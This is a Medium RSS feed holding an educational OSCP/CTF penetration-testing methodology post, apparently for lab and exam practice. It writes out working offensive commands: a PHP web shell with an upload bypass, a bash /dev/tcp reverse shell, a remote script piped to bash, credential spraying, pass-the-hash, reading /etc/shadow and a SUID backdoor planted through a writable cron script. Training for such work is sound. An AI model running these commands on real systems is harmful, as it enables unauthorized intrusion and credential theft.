<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ashish Ghimire on Medium]]></title>
        <description><![CDATA[Stories by Ashish Ghimire on Medium]]></description>
        <link>https://medium.com/@pingacis?source=rss-8ff969aec76e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FVX-dOa6yvdCZot4vvZrag.jpeg</url>
            <title>Stories by Ashish Ghimire on Medium</title>
            <link>https://medium.com/@pingacis?source=rss-8ff969aec76e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:52:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pingacis/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Pentest Playbook: A Battle-Tested OSCP & CTF Methodology (With the Only Checklist You’ll Ever…]]></title>
            <link>https://medium.com/@pingacis/the-pentest-playbook-a-battle-tested-oscp-ctf-methodology-with-the-only-checklist-youll-ever-32ad0008caf2?source=rss-8ff969aec76e------2</link>
            <guid isPermaLink="false">https://medium.com/p/32ad0008caf2</guid>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[checklist]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[methodology]]></category>
            <dc:creator><![CDATA[Ashish Ghimire]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 15:09:42 GMT</pubDate>
            <atom:updated>2026-06-14T15:09:42.953Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Pentest Playbook: A Battle-Tested OSCP &amp; CTF Methodology (With the Only Checklist You’ll Ever Need)</h3><blockquote>It’s hour 14. You’ve rooted two boxes. The third one is mocking you. You’ve run the same Nmap scan three times, opened the same web app in five tabs, and you’re starting to believe the machine is broken.</blockquote><blockquote>It isn’t broken. You skipped a step.</blockquote><p>Every OSCP candidate has lived some version of that moment. So has every CTF player who’s watched the scoreboard tick away while they spiral down a rabbit hole. And here’s the uncomfortable truth nobody tells you when you’re grinding HackTheBox:</p><p><strong>You don’t fail because you lack skill. You fail because you lack a system.</strong></p><p>Skill gets you through the box you’ve seen before. A <em>system</em> gets you through the box you’ve never seen under pressure, exhausted, at 3 AM, with a clock bleeding out in the corner of your screen. This post is that system. It’s the exact methodology I run on every engagement, every exam machine, every CTF target broken into eight phases, with real terminal output at each step, the tips that actually move the needle, and a copy-paste checklist at the end that you’ll want to tattoo onto your notes file.</p><p>If you’ve read my <a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#">L</a>inux Privilege Escalation guide or the Active Directory Walkthrough, you know the deal: no filler, no “draw the rest of the owl.” Just the commands, the output, and <em>why</em> each one matters.</p><p>Let’s get to work.</p><h3>How to Use This Guide</h3><p>This isn’t a tutorial you read once. It’s a <strong>reference you run against a live target</strong>. Keep the Master Checklist open in a second window and tick boxes as you go. The phases are ordered the way you’ll actually work a box:</p><pre>┌─────────────┐   ┌──────────┐   ┌─────────────┐   ┌──────────┐<br>   │ 1. RECON    │ → │ 2. SCAN  │ → │ 3. ENUMERATE│ → │ 4. ENTRY │<br>   └─────────────┘   └──────────┘   └─────────────┘   └──────────┘<br>                                                            │<br>   ┌─────────────┐   ┌──────────┐   ┌─────────────┐         ▼<br>   │ 8. REPORT   │ ← │ 7. ESCALATE│← │ 6. PIVOT   │ ← │ 5. POST  │<br>   └─────────────┘   └──────────┘   └─────────────┘   └──────────┘</pre><p>Three rules to internalize before you touch a target:</p><p>🗒️ <strong>Take notes from second one.</strong> Every IP, port, username, password, and weird error goes into your notes <em>immediately</em>. At hour 18 you will not remember what you found at hour 2. This single habit saves more exams than any tool.</p><p>⏱️ <strong>Time-box your rabbit holes.</strong> Stuck on one vector for 30 minutes with nothing? Rotate. Set an actual timer. The box is almost never as hard as the hole you’re currently digging.</p><p>📸 <strong>Screenshot like it’s evidence — because it is.</strong> Build the muscle memory: id &amp;&amp; hostname &amp;&amp; ip a becomes one command. OSCP demands proof. CTF writeups live on it.</p><h3>Phase 1 — Reconnaissance: Know the Terrain Before You Step on It</h3><p>Recon is everything you can learn <em>before</em> sending a packet at the target’s front door. In a CTF you often start straight at an IP but the moment a domain name or second host appears, this phase decides whether you’re even attacking the right thing.</p><pre># WHOIS — who owns it, who hosts it<br>kali@attacker:~$ whois target.com | grep -iE &quot;registrar|name server|org&quot;<br>Registrar: GoDaddy.com, LLC<br>Name Server: NS1.TARGET.COM</pre><pre># DNS records — mail servers, subdomains, the works<br>kali@attacker:~$ dig target.com ANY +noall +answer<br>target.com.    300  IN  A      10.10.10.100<br>target.com.    300  IN  MX     10 mail.target.com.</pre><pre># 🎯 The money shot: zone transfer (works shockingly often on CTF/misconfigured DNS)<br>kali@attacker:~$ dig axfr @ns1.target.com target.com<br>dev.target.com.     300  IN  A   10.10.10.101<br>staging.target.com. 300  IN  A   10.10.10.104   ← staging boxes are gold<br>vpn.target.com.     300  IN  A   10.10.10.103</pre><pre># Subdomain brute force when zone transfer is locked down<br>kali@attacker:~$ gobuster dns -d target.com \<br>  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50<br>Found: admin.target.com<br>Found: dev.target.com<br>Found: api.target.com</pre><blockquote><em>💡 </em><strong><em>TIP — Staging and dev subdomains are soft targets.</em></strong><em> They run the same app as production but with debug mode on, default creds, and zero monitoring. When you see </em><em>dev. or </em><em>staging., go there first.</em></blockquote><p><strong>Google dorking</strong> finds what nobody meant to publish:</p><pre>site:target.com ext:conf OR ext:bak OR ext:sql OR ext:env   ← config &amp; backup files<br>site:target.com inurl:admin OR inurl:login                   ← entry points<br>&quot;target.com&quot; &quot;password&quot; site:github.com                      ← leaked creds in code</pre><h3>Phase 2 — Scanning: Fast First, Deep Second</h3><p>Here’s the #1 time-waster I see: people fire one slow nmap -A -p- and stare at the screen for ten minutes. Don&#39;t. <strong>Scan fast to find open ports, then scan deep only on what&#39;s actually open.</strong> Two stages, half the time.</p><pre># STAGE 1 — every TCP port, as fast as the network allows<br>kali@attacker:~$ nmap -p- --min-rate 5000 -T4 -oN ports.txt 10.10.10.100</pre><pre>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>80/tcp    open  http<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds<br>3306/tcp  open  mysql<br>8080/tcp  open  http-proxy</pre><pre># STAGE 2 — pull the open ports into a variable, deep-scan only those<br>kali@attacker:~$ ports=$(grep &quot;^[0-9]&quot; ports.txt | cut -d&#39;/&#39; -f1 | tr &#39;\n&#39; &#39;,&#39; | sed &#39;s/,$//&#39;)<br>kali@attacker:~$ nmap -p$ports -sC -sV -O -oA deep 10.10.10.100</pre><pre>PORT     STATE SERVICE     VERSION<br>22/tcp   open  ssh         OpenSSH 7.9p1 Debian<br>80/tcp   open  http        Apache httpd 2.4.38<br>| http-title: Company Portal<br>445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian<br>| smb-security-mode: account_used: guest      ← guest access!<br>3306/tcp open  mysql       MySQL 5.7.33</pre><pre># 🚨 NEVER skip this — UDP catches what TCP misses<br>kali@attacker:~$ nmap -sU --top-ports 200 -oN udp.txt 10.10.10.100<br>PORT    STATE SERVICE<br>161/udp open  snmp        ← SNMP leaks credentials constantly<br>2049/udp open nfs         ← NFS = potential no_root_squash root</pre><blockquote><em>🚨 </em><strong><em>TRAP — The forgotten UDP scan.</em></strong><em> SNMP (161), TFTP (69), and NFS (2049) live on UDP. Skip the UDP scan and you’ll walk right past free credentials or a direct root path. Run it every single time, in the background, while you start on TCP.</em></blockquote><blockquote><em>💡 </em><strong><em>TIP — Log every version number.</em></strong><em> </em><em>OpenSSH 7.9, </em><em>Apache 2.4.38, </em><em>Samba 4.9.5 — each goes in your notes. Phase 4 starts with </em><em>searchsploit against these exact strings.</em></blockquote><h3>Phase 3 — Enumeration: Where the Box Is Actually Won</h3><p>Repeat after me: <strong>enumeration is 80% of the work.</strong> The exploit is the easy part once you know exactly what you’re attacking. Go through every service methodically. The way in is rarely the obvious one.</p><h3>🌐 HTTP / HTTPS — The Biggest Attack Surface</h3><pre># Directory &amp; file brute force — always run multiple extensions<br>kali@attacker:~$ gobuster dir -u http://10.10.10.100 \<br>  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \<br>  -x php,html,txt,bak,conf,zip -t 50</pre><pre>/admin       (Status: 301)<br>/login.php   (Status: 200)<br>/uploads     (Status: 301)<br>/config.bak  (Status: 200) [Size: 892]   ← 👀 backup file</pre><pre># Quick vuln sweep<br>kali@attacker:~$ nikto -h <a href="http://10.10.10.100/">http://10.10.10.100</a><br>+ /config.bak: Backup file found — may contain credentials<br>+ /admin/: Directory indexing enabled</pre><pre># Always check the obvious files by hand<br>kali@attacker:~$ curl <a href="http://10.10.10.100/robots.txt">http://10.10.10.100/robots.txt</a><br>kali@attacker:~$ curl <a href="http://10.10.10.100/config.bak">http://10.10.10.100/config.bak</a><br>&lt;?php<br>$db_user = &quot;webapp_user&quot;;<br>$db_pass = &quot;W3bAppP@ss2023!&quot;;   ← 🔑 credentials in a public backup<br>?&gt;</pre><blockquote><em>💡 </em><strong><em>TIP — The “view source + backup extension” combo.</em></strong><em> Half the easy web wins come from reading page source for comments/version strings and appending </em><em>.bak, </em><em>~, </em><em>.old, </em><em>.txt, or </em><em>.swp to interesting filenames. </em><em>index.php → </em><em>index.php.bak has handed over more source code than any exploit.</em></blockquote><h3>📁 SMB — Free Loot Hiding in Plain Sight</h3><pre># Null-session enumeration — no creds needed<br>kali@attacker:~$ enum4linux-ng -A 10.10.10.100<br>[+] Null session allowed<br>[+] Users: bob (1000), alice (1001), administrator (500)<br>[+] Shares: backup (READ), www (READ/WRITE), IPC$</pre><pre># Browse readable shares<br>kali@attacker:~$ smbclient //10.10.10.100/backup -N<br>smb: \&gt; ls<br>  passwords.txt    A   512<br>  id_rsa_backup    A   2610   ← 🔑 someone backed up a private key<br>smb: \&gt; get id_rsa_backup</pre><pre># Spray a found credential and confirm access level<br>kali@attacker:~$ crackmapexec smb 10.10.10.100 -u bob -p &#39;W3bAppP@ss2023!&#39;<br>SMB  10.10.10.100  445  [+] bob:W3bAppP@ss2023! (Pwn3d!)   ← local admin!</pre><blockquote><em>💡 </em><strong><em>TIP — </em></strong><strong><em>(Pwn3d!) in CrackMapExec means local admin.</em></strong><em> It&#39;s the single most satisfying string in the toolkit. The moment you see it, you have a shell — </em><em>crackmapexec smb ... -x &quot;whoami&quot; or </em><em>impacket-psexec.</em></blockquote><h3>📡 SNMP — The Credential Vending Machine</h3><pre>kali@attacker:~$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.100<br>10.10.10.100 [public] Linux victim 5.4.0-150-generic</pre><pre># Walk the running processes — args often contain passwords<br>kali@attacker:~$ snmpwalk -v2c -c public 10.10.10.100 1.3.6.1.2.1.25.4.2.1.2<br>STRING: &quot;python3 /opt/monitor.py --password=M0n1torP@ss!&quot;   ← 🔑 right there</pre><h3>🗄️ MySQL, FTP, SSH — Run the Credentials Everywhere</h3><pre># Found one password? Try it on EVERYTHING. Password reuse is the rule, not the exception.<br>kali@attacker:~$ mysql -h 10.10.10.100 -u root -p&#39;R00tMySQL2023!&#39; -e &quot;SELECT user,password FROM mysql.user;&quot;<br>kali@attacker:~$ ftp 10.10.10.100        # try anonymous:anonymous<br>kali@attacker:~$ ssh bob@10.10.10.100    # try every harvested password + key</pre><blockquote><em>💡 </em><strong><em>TIP — Build a creds file early.</em></strong><em> Keep </em><em>creds.txt (users) and </em><em>pass.txt (passwords) growing as you enumerate. Then spray: </em><em>crackmapexec smb 10.10.10.100 -u creds.txt -p pass.txt --continue-on-success. One reused password collapses the whole box.</em></blockquote><h3>Phase 4 — Initial Foothold: Get Code Running</h3><p>Enumeration handed you the entry point. Now you execute code on the target for the first time — usually through a web vuln, a credential, or a public exploit.</p><h3>📤 File Upload Bypass → Web Shell</h3><pre># Blocked .php? Cycle through alternate extensions:<br># .phtml  .php3  .php4  .php5  .phar  .pht<br>kali@attacker:~$ echo &#39;&lt;?php system($_GET[&quot;c&quot;]); ?&gt;&#39; &gt; shell.phtml<br>kali@attacker:~$ curl -F &quot;file=@shell.phtml;type=image/jpeg&quot; http://10.10.10.100/upload.php<br>{&quot;status&quot;:&quot;success&quot;,&quot;path&quot;:&quot;/uploads/shell.phtml&quot;}</pre><pre>kali@attacker:~$ curl &quot;http://10.10.10.100/uploads/shell.phtml?c=id&quot;<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)   ← 🎉 RCE</pre><h3>🔌 Catch a Reverse Shell — Then STABILIZE It</h3><p>A raw netcat shell is a trap. CTRL+C kills it, there’s no tab-complete, and one fat-finger drops your access. <strong>Stabilize immediately, every time.</strong></p><pre># Catch it<br>kali@attacker:~$ nc -lvnp 4444</pre><pre># On the target — fire a reverse shell<br>www-data@victim:/$ bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.15/4444 0&gt;&amp;1&#39;</pre><pre># ── The stabilization ritual (memorize this) ──<br>www-data@victim:/$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@victim:/$ [CTRL+Z]                          # background it<br>kali@attacker:~$ stty raw -echo; fg                  # fix the terminal<br>www-data@victim:/$ export TERM=xterm                 # enable clear, less, vim<br>www-data@victim:/$ stty rows 50 cols 200             # match your window</pre><blockquote><em>💡 </em><strong><em>TIP — A stable shell is non-negotiable before privesc.</em></strong><em> You cannot run </em><em>vim, </em><em>less, or interactive exploits in a broken shell. Spend the 20 seconds. It saves you from losing a hard-won foothold to a stray keystroke.</em></blockquote><h3>💉 SQL Injection → Shell</h3><pre>kali@attacker:~$ sqlmap -u &quot;http://10.10.10.100/search.php?id=1&quot; --dbs --batch<br>kali@attacker:~$ sqlmap -u &quot;http://10.10.10.100/search.php?id=1&quot; \<br>  -D webapp -T users -C user,pass --dump --batch<br># If FILE priv + writable webroot:<br>kali@attacker:~$ sqlmap -u &quot;...&quot; --os-shell --web-root &quot;/var/www/html&quot;<br>os-shell&gt; id<br>uid=33(www-data) gid=33(www-data)<br></pre><blockquote><strong>Note: SQLmap is not allowed in OSCP exam but you can use it while doing CTF on platforms like hackthebox and tryhackme.</strong></blockquote><h3>🎯 Public Exploits — searchsploit &amp; Metasploit</h3><pre># Match exploits to the EXACT versions from your Phase 2 notes<br>kali@attacker:~$ searchsploit &quot;Samba 4.9&quot;<br>kali@attacker:~$ searchsploit -m multiple/remote/42060.py   # mirror it, READ it before running</pre><blockquote><em>⚠️ </em><strong><em>OSCP RULE — Metasploit is allowed on ONE machine only.</em></strong><em> Spend it wisely on the box where a known CVE (EternalBlue, etc.) makes MSF the obvious fast win. Everywhere else, exploit by hand.</em></blockquote><h3>Phase 5 — Post-Exploitation: Look Around Before You Move</h3><p>You’ve got a shell. Resist the urge to immediately fire LinPEAS. Spend five minutes building situational awareness firstwhat you learn here dictates every move that follows.</p><pre>www-data@victim:/$ id; hostname; uname -a                # who &amp; where<br>www-data@victim:/$ ip a                                  # 👀 second interface?<br>2: eth0: inet 10.10.10.100/24                            # external<br>3: eth1: inet 172.16.50.100/24                           # 🔥 INTERNAL NETWORK<br>www-data@victim:/$ ss -tlnp                              # internal-only services<br>www-data@victim:/$ ps aux | grep root                    # root processes &amp; scripts</pre><pre># Hunt for credentials — they&#39;re almost always somewhere<br>www-data@victim:/$ cat /var/www/html/config.php<br>www-data@victim:/$ cat ~/.bash_history<br>www-data@victim:/$ find / -name &quot;id_rsa&quot; -o -name &quot;*.bak&quot; 2&gt;/dev/null</pre><pre># Then spray everything you&#39;ve found at every user<br>www-data@victim:/$ su bob          # ← W3bAppP@ss2023! (reused from the web app)<br>bob@victim:/$ id<br>uid=1000(bob) groups=1000(bob),27(sudo)   ← 🔑 bob&#39;s in the sudo group</pre><blockquote><em>💡 </em><strong><em>TIP — A second network interface is a flashing neon sign.</em></strong><em> </em><em>eth1 on a </em><em>172.16.x.x range means this box is a gateway to machines you can&#39;t reach directly. That&#39;s not a dead end — that&#39;s Phase 6.</em></blockquote><h3>Phase 6 — Lateral Movement &amp; Pivoting: Reach the Unreachable</h3><p>That internal 172.16.50.0/24 network is invisible from your Kali box. Pivoting routes your traffic <em>through</em> the compromised host to attack what&#39;s behind it.</p><pre># Discover live internal hosts (pure bash — no tools to upload)<br>bob@victim:/$ for i in $(seq 1 254); do (ping -c1 -W1 172.16.50.$i &amp;&gt;/dev/null &amp;&amp; echo &quot;172.16.50.$i UP&quot;) &amp; done; wait<br>172.16.50.10 UP<br>172.16.50.20 UP</pre><pre># Open a SOCKS5 proxy through the pivot<br>kali@attacker:~$ ssh -D 1080 -N -f bob@10.10.10.100</pre><pre># Point proxychains at it, then tunnel ANY tool through<br>kali@attacker:~$ proxychains nmap -sT -p 22,80,445 172.16.50.10<br>kali@attacker:~$ proxychains impacket-psexec administrator@172.16.50.10</pre><p><strong>Pass-the-Hash</strong> — when you have an NTLM hash but no plaintext:</p><pre>kali@attacker:~$ crackmapexec smb 172.16.50.0/24 -u Administrator \<br>  -H 8846f7eaee8fb117ad06bdd830b7586c --local-auth<br>SMB  172.16.50.10  [+] DC01\Administrator (Pwn3d!)   ← hash works network-wide</pre><blockquote><em>💡 </em><strong><em>TIP — No SSH on the pivot? Use Chisel.</em></strong><em> </em><em>chisel server -p 9999 --reverse on Kali, </em><em>chisel client KALI:9999 R:socks on the victim, and you&#39;ve got the same SOCKS5 tunnel without needing SSH access.</em></blockquote><h3>Phase 7 — Privilege Escalation: From User to Root/SYSTEM</h3><p>This phase has its own full deep dive post here’s the fast-path order of operations for the methodology flow. <strong>The order matters: highest-yield checks first.</strong></p><h3>🐧 Linux</h3><pre>bob@victim:~$ sudo -l                                 # ① ALWAYS check first<br>bob@victim:~$ find / -perm -4000 -type f 2&gt;/dev/null  # ② SUID binaries<br>bob@victim:~$ getcap -r / 2&gt;/dev/null                 # ③ Capabilities<br>bob@victim:~$ cat /etc/crontab; ls /etc/cron.d/       # ④ Cron jobs<br>bob@victim:~$ find / -writable -type f 2&gt;/dev/null | grep -Ev &quot;proc|sys&quot;  # ⑤ Writable files<br># ⑥ Then automate: curl -sL http://KALI:8000/linpeas.sh | bash</pre><pre># Example: sudo vim → instant root<br>bob@victim:~$ sudo -l<br>(ALL) NOPASSWD: /usr/bin/vim<br>bob@victim:~$ sudo vim -c &#39;:!/bin/bash&#39;<br>root@victim:/# id &amp;&amp; cat /root/proof.txt<br>uid=0(root) gid=0(root) groups=0(root)<br>a9b3c7d1e5f8a0b2c4d6e8f1a3b5c7d9   ← 🏁</pre><h3>🪟 Windows</h3><pre>C:\&gt; whoami /priv                  # ① SeImpersonate? → PrintSpoofer/GodPotato = SYSTEM<br>C:\&gt; .\PrintSpoofer.exe -i -c cmd  #    if SeImpersonatePrivilege is enabled<br>NT AUTHORITY\SYSTEM                # ← 🏁<br>C:\&gt; .\winpeas.exe                 # ② automate the rest</pre><blockquote><em>💡 </em><strong><em>TIP — Check GTFOBins for EVERY binary in </em></strong><strong><em>sudo -l.</em></strong><em> That innocent-looking entry for </em><em>tar, </em><em>awk, </em><em>find, </em><em>less, or </em><em>git almost certainly has a documented shell escape. </em><a href="https://gtfobins.github.io/"><em>gtfobins.github.io</em></a><em> is your second monitor.</em></blockquote><h3>Phase 8 — Loot &amp; Report: The Points Are in the Paperwork</h3><p>You’re root. <strong>Don’t celebrate yetloo t first, because you might lose the shell.</strong> Then document, because on OSCP an unreported root is worth zero points.</p><pre># Loot before you do anything else<br>root@victim:/# cat /root/proof.txt /etc/shadow<br>root@victim:/# find /home -name &quot;id_rsa&quot; 2&gt;/dev/null     # keys for pivoting<br>root@victim:/# cat /etc/hosts                             # internal network map</pre><pre># The proof screenshot OSCP requires — one command<br>root@victim:/# id &amp;&amp; hostname &amp;&amp; ip a &amp;&amp; cat /root/proof.txt</pre><p><strong>Every finding in your report needs:</strong> the vulnerability + affected component, exact reproduction steps, terminal/screenshot evidence, impact, and remediation. Here’s the template I use:</p><pre>## Finding: World-Writable Root Cron Script<br>**Severity:** Critical | **Host:** 10.10.10.100</pre><pre>**Description:** /opt/cleanup.sh runs as root every minute via /etc/crontab<br>and is world-writable (-rwxrwxrwx), letting any user execute commands as root.</pre><pre>**Steps to Reproduce:**<br>1. ls -la /opt/cleanup.sh                  (confirm 777)<br>2. echo &#39;cp /bin/bash /tmp/.b; chmod +s /tmp/.b&#39; &gt;&gt; /opt/cleanup.sh<br>3. wait 60s, then: /tmp/.b -p</pre><pre>**Evidence:** [screenshot: id showing euid=0]<br>**Impact:** Full root compromise.<br>**Remediation:** chmod 700 /opt/cleanup.sh; audit all cron-invoked scripts.</pre><h3>🧰 The Master Checklist</h3><p>This is the part you came for. Copy it into your notes at the start of every box and work it top to bottom. Nothing here is optional the steps you <em>want</em> to skip are exactly the ones hiding the flag.</p><h3>☐ Phase 1 — Reconnaissance</h3><ul><li>☐ whois target.com — registrar, org, nameservers</li><li>☐ dig target.com ANY — A, MX, NS, TXT records</li><li>☐ dig axfr @ns1.target.com target.com — <strong>try zone transfer</strong></li><li>☐ gobuster dns -d target.com -w subdomains-top1million-5000.txt — subdomains</li><li>☐ Google dorks: site:target.com ext:bak OR ext:conf OR ext:sql</li><li>☐ Search GitHub/GitLab for org name + password/api_key</li></ul><h3>☐ Phase 2 — Scanning</h3><ul><li>☐ <strong>Fast all-ports TCP:</strong> nmap -p- --min-rate 5000 -T4 -oN ports.txt TARGET</li><li>☐ <strong>Deep scan open ports:</strong> nmap -p&lt;PORTS&gt; -sC -sV -O -oA deep TARGET</li><li>☐ <strong>UDP top 200 (don’t skip!):</strong> nmap -sU --top-ports 200 -oN udp.txt TARGET</li><li>☐ Record every service <strong>version</strong> for Phase 4 exploit matching</li></ul><h3>☐ Phase 3 — Service Enumeration</h3><p><strong>Web (80/443/8080):</strong></p><ul><li>☐ gobuster dir -u URL -x php,html,txt,bak,conf,zip (multiple wordlists)</li><li>☐ nikto -h URL</li><li>☐ Check by hand: robots.txt, sitemap.xml, /.git/, page source comments</li><li>☐ Append .bak .old ~ .txt to interesting filenames</li><li>☐ Identify CMS/framework + version → searchsploit</li></ul><p><strong>SMB (139/445):</strong></p><ul><li>☐ enum4linux-ng -A TARGET</li><li>☐ smbclient -L //TARGET -N (null session)</li><li>☐ crackmapexec smb TARGET -u &#39;&#39; -p &#39;&#39; --shares</li></ul><p><strong>Other services:</strong></p><ul><li>☐ SSH (22): banner version, test harvested creds + keys</li><li>☐ SNMP (161/udp): onesixtyone then snmpwalk -v2c -c public</li><li>☐ FTP (21): anonymous login, writable dirs</li><li>☐ NFS (2049): showmount -e TARGET → check for no_root_squash</li><li>☐ MySQL (3306): default/discovered creds, remote access</li><li>☐ RDP (3389): nmap --script rdp-enum-encryption</li><li>☐ SMTP (25): VRFY user enumeration</li></ul><h3>☐ Phase 4 — Foothold</h3><ul><li>☐ <strong>Spray ALL found creds against ALL services</strong> (the highest-ROI step)</li><li>☐ Test web for: SQLi, LFI/RFI, command injection, SSRF, XXE</li><li>☐ File upload: bypass with .phtml .php5 .phar</li><li>☐ searchsploit &quot;&lt;service&gt; &lt;exact version&gt;&quot; for every service</li><li>☐ <strong>Stabilize the shell immediately</strong> (python pty → stty raw → export TERM)</li></ul><h3>☐ Phase 5 — Post-Exploitation</h3><ul><li>☐ id; hostname; uname -a; cat /etc/os-release</li><li>☐ ip a; ip route — <strong>look for extra network interfaces</strong></li><li>☐ ss -tlnp — internal-only services</li><li>☐ ps aux | grep root — root processes &amp; custom scripts</li><li>☐ Hunt creds: ~/.bash_history, config files, find / -name id_rsa</li><li>☐ Spray every harvested credential against every local user</li></ul><h3>☐ Phase 6 — Lateral Movement</h3><ul><li>☐ Ping/port sweep internal subnet through the pivot</li><li>☐ SOCKS5 proxy: ssh -D 1080 -N user@PIVOT + configure proxychains</li><li>☐ (No SSH? Chisel: server -p 9999 --reverse ↔ client KALI:9999 R:socks)</li><li>☐ Pass-the-Hash: crackmapexec smb SUBNET -u USER -H HASH</li></ul><h3>☐ Phase 7 — Privilege Escalation</h3><p><strong>Linux (in this order):</strong></p><ul><li>☐ sudo -l ← <strong>always first</strong>, then check GTFOBins for each binary</li><li>☐ find / -perm -4000 -type f 2&gt;/dev/null (SUID)</li><li>☐ getcap -r / 2&gt;/dev/null (capabilities)</li><li>☐ cat /etc/crontab; ls /etc/cron.d/ (cron jobs)</li><li>☐ find / -writable -type f 2&gt;/dev/null (writable files)</li><li>☐ ls -la /etc/passwd /etc/shadow (weak perms)</li><li>☐ curl -sL KALI/linpeas.sh | bash + pspy64 for hidden crons</li></ul><p><strong>Windows:</strong></p><ul><li>☐ whoami /priv ← <strong>SeImpersonate = PrintSpoofer/GodPotato → SYSTEM</strong></li><li>☐ whoami /all, systeminfo (patch level)</li><li>☐ Services: unquoted paths, weak perms (sc query, accesschk)</li><li>☐ reg query HKLM\...\AlwaysInstallElevated</li><li>☐ .\winpeas.exe</li></ul><h3>☐ Phase 8 — Loot &amp; Report</h3><ul><li>☐ id &amp;&amp; hostname &amp;&amp; ip a &amp;&amp; cat proof.txt — <strong>the proof screenshot</strong></li><li>☐ Grab: /etc/shadow, SSH keys, /etc/hosts, config files</li><li>☐ Document each finding: repro steps → evidence → impact → fix</li><li>☐ Capture proof at <strong>both</strong> levels: user foothold AND root/SYSTEM</li></ul><h3>⚡ Tips, Tricks &amp; Hard-Won Lessons</h3><p>A grab-bag of the things that separate a smooth box from a 6-hour grind:</p><p>🔁 <strong>When stuck, re-enumerate as the new user.</strong> Got from www-data to bob? Bob can read files, join groups, and reach services www-data couldn&#39;t. Re-run your enumeration with the new privilegesth e path forward is often something only the new user can see.</p><p>🧦 <strong>Always run a second wordlist before declaring web “dead.”</strong> raft-medium missed it? Try directory-list-2.3-medium.txt or big.txt. Different lists find different things. A &quot;dead&quot; web app is usually an under-enumerated one.</p><p>📋 <strong>Copy files, don’t retype them.</strong> Transferring a script? python3 -m http.server 8000 on Kali, wget/curl on the target. No internet egress? base64 -w0 file on Kali, paste, base64 -d on the target. Never retype a 2KB exploit by hand.</p><p>🕳️ <strong>The 30-minute rule, enforced with a timer.</strong> No progress on a vector for 30 minutes → switch. Come back with fresh eyes later. More exams are lost to stubbornness than to difficulty.</p><p>🔑 <strong>Password reuse is the default assumption.</strong> Web app DB password, SSH password, MySQL root, the next user’s su password — assume they&#39;re the same until proven otherwise. Maintain pass.txt and spray relentlessly.</p><p>📸 <strong>Screenshot the second you get each shell</strong>, not after you’ve moved on. Foothold proof and root proof are separate requirements. The shell you forget to screenshot is the shell you’ll have to re-exploit.</p><p>🧠 <strong>Read the exploit before you run it.</strong> Especially anything off exploit-db. Know what it does, fix the offsets/IPs, and never run a binary you haven’t inspected on an exam machine you can’t easily rebuild.</p><h3>The Bottom Line</h3><p>None of this is exotic. Misconfigured sudo, a backup file with creds, a reused password, a forgotten UDP port, a writable cron script these are the bread and butter of OSCP machines and CTF boxes alike, because they’re exactly what breaks real production environments every day.</p><p>What separates the people who pass from the people who retake isn’t a secret exploit. It’s <strong>discipline</strong>: enumerate completely, take notes obsessively, time-box ruthlessly, and trust the methodology when your brain wants to panic.</p><p>Print the checklist. Run it on the next box. When you see uid=0(root) glowing back at you screenshot it, grab the proof, document it, <em>then</em> celebrate.</p><p>Now go get root. 🏴‍☠️</p><p><em>Found a step I missed or have a trick of your own? Drop it in the comments — this checklist gets better every time someone breaks it.</em></p><p><strong>Tags:</strong> #OSCP #CTF #PenetrationTesting #RedTeam #EthicalHacking #Nmap #PrivilegeEscalation #CyberSecurity #InfoSec #OffSec #HackTheBox #TryHackMe</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32ad0008caf2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation: The OSCP Methodology That Gets You Root Every Time]]></title>
            <link>https://medium.com/@pingacis/linux-privilege-escalation-the-oscp-methodology-that-gets-you-root-every-time-86d347a6d4ef?source=rss-8ff969aec76e------2</link>
            <guid isPermaLink="false">https://medium.com/p/86d347a6d4ef</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linuxprivilegeescalation]]></category>
            <dc:creator><![CDATA[Ashish Ghimire]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 14:26:21 GMT</pubDate>
            <atom:updated>2026-06-14T14:26:21.172Z</atom:updated>
